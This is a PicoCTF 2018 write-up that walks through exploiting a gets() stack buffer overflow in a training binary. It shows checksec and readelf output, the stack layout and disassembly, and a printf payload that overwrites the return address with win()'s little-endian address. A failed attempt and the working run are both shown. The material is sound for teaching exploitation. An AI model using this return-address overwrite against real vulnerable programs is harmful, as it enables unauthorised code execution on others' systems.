PicoCTF 2018 - Buffer Overflow 1
Note: This article is part of our PicoCTF 2018 BinExp Guide.
Spot the Bug
Once again, finding the bug is easy, as it’s almost identical to the last challenge:
#define BUFSIZE 32
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
The buffer once again lives on the stack and has a fixed size (32 bytes). There are no other variables on the stack. The gets
function is used, which is highly unsafe, as it will copy characters from stdin
until either a newline character is found or the end-of-file is reached, making it trivial to overflow the buf
variable and overwrite anything following it in memory, including the stack frame’s preserved ebp
register and return address.
Strategy
Now that we found the bug, we need a plan to use that bug in a way that will allow us to capture the flag. They’ve taken off the training wheels slightly here, as there is no segfault handler registered. However, there is a handy dandy function that will print out the flag if called:
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
Since we no longer have a default-crash handler to fallback on, we will have to actually change the flow of execution so that the win()
function gets called. Here, the win()
function has been compiled into the program and exists within the .text
segment of the binary at a fixed address (ASLR does not apply as the program is not compiled as a Position-independent Executable or PIE). Note: if you install pwntools
you can run checksec
from your shell to quickly check the security properties of binaries, including whether they are compiled as PIE. Use readelf -s
or objdump -t
or nm
to display the address of all the exported symbols within the binary:
$ checksec ./vuln
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
$ readelf -s ./vuln | grep win
67: 080485cb 100 FUNC GLOBAL DEFAULT 14 win
In this case, the code for the function win()
begins at the address 0x080485cb
.
If you were paying attention during buffer overflow 0 you might have a good idea of what to do now, so go and attempt the problem located at /problems/buffer-overflow-1_0_787812af44ed1f8151c893455eb1a613
on the shell server.
Background Info
You should recall from buffer overflow 0 that the stack looks something like this after calling vuln()
:
lower addresses | ⇒ | ⇒ | higher addresses |
---|---|---|---|
buf[32] | < padding > | <old ebp> | <return address> |
In order to change the flow of execution, what we need to do is overwrite the return address so that when the ret
instruction is called, the execution continues at the memory address we want (instead of whatever instructions followed the call to vuln()
). We know there are 32 bytes allocated for the buffer, but we don’t yet know for sure how many padding bytes there are.
To figure it out, we once again peak at the assembly code for vuln()
using objdump -M intel -S ./vuln
:
push ebp
mov ebp,esp
sub esp,0x28
sub esp,0xc
lea eax,[ebp-0x28]
push eax
call 8048430 <gets@plt>
add esp,0x10
call 80486c0 <get_return_address>
sub esp,0x8
push eax
push 0x80487d4
call 8048420 <printf@plt>
add esp,0x10
nop
leave
ret
In this case, 0x28 (40) bytes are reserved on the stack, meaning there are an additional 8 bytes of padding.
NOTE: For the curious, this value of padding is likely chosen because the compiler is required to keep 16-byte alignment on the stack as part of the ABI, and reserving 40 bytes in addition to the 4 bytes for the preserved ebp
register and the 4 bytes for the return address results in a total of exactly 48 bytes, which is a multiple of 16. You’ll notice the call to gets
first reserves 0x0c (12) bytes off the stack, before pushing 4 more (the value of eax
), again resulting in a perfect 16 byte alignment.
Exploitation
We’ve calculated that if we start from the beginning of buf[]
, then there are exactly 32 (buf
) + 8 (padding) + 4 (preserved ebp
) bytes before the return address. We’ve also determined that we should execute the win()
function, which is at address 0x080485cb
.
In general, we don’t care about the bytes that end up in the buf[]
variable or the padding
. We may care about the bytes that end up in the ebp
register (the previous challenge proved that), but in this case we know that even if returning from win()
results in a crash, it will have already printed out the flag because the stdout
stream has been explicitly set to non-buffered (_IONBF
).
So, when prompted, we should provide 44 bytes of something (I arbitrarily chose 0x55, aka ‘U’, because of the repeating cycle of 0
s and 1
s when represented in binary), followed by the address of win
. Recall, gets()
will only copy up to the first newline (‘\n
’), and it will always add a terminating null (‘\0
’).
At this point you might be temped to form a string that looks like this:
"UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\x08\x04\x85\xcb"
However, that won’t work:
/problems/buffer-overflow-1_0_787812af44ed1f8151c893455eb1a613$ printf "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\x08\x04\x85\xcb" | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0xcb850408
Segmentation fault
Why did it segfault? The hint is in the helpful printing of the return address. Instead of jumping to 0x080485cb
, the program is jumping to 0xcb850408
. The reason is that memory on many machines, including x86 and x86-64 is little-endian. That means that when storing values larger than 1 byte, the bytes are arranged so that the least-significant byte is stored first, followed by the next least-significant, and so on. The least-significant byte of 0x080485cb
is 0xcb
, and that byte should appear first, followed by 0x85
, 0x04
, and 0x08
. Let’s try it:
/problems/buffer-overflow-1_0_787812af44ed1f8151c893455eb1a613$ printf "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\xcb\x85\x04\x08" | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
picoCTF{===REDACTED===}Segmentation fault (core dumped)
Eh voilà! You’ve successfully exploited a buffer-overflow vulnerability. Good Job. Head back to our PicoCTF 2018 BinExp Guide to continue with the next challenge.